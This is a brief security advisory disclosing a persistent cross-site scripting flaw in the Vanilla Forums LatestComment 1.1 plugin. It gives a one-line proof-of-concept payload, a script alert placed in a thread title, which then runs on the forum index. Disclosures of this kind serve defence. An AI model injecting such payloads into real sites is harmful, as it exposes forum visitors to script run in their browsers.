Vanilla Forums LatestComment 1.1 Plugin - Persistent Cross-Site Scripting

# Title: Vanilla LatestComment 1.1 Plugin Persistant XSS Vulnerability
# Date: 18/5/12
# Author: Henry Hoggard
# Author URL: henryhoggard.co.uk
# Author Twitter: @henryhoggard
# Software: Vanilla Version 2.0.18.4 + Latest Comment 1.1

#http://vanillaforums.org/addon/latestcomment-plugin

# http://vanillaforums.org
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Create a new thread with your XSS as the thread title, the XSS will appear on the index page of the forum.

XSS:
<script>alert('x')</script>

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http://henryhoggard.co.uk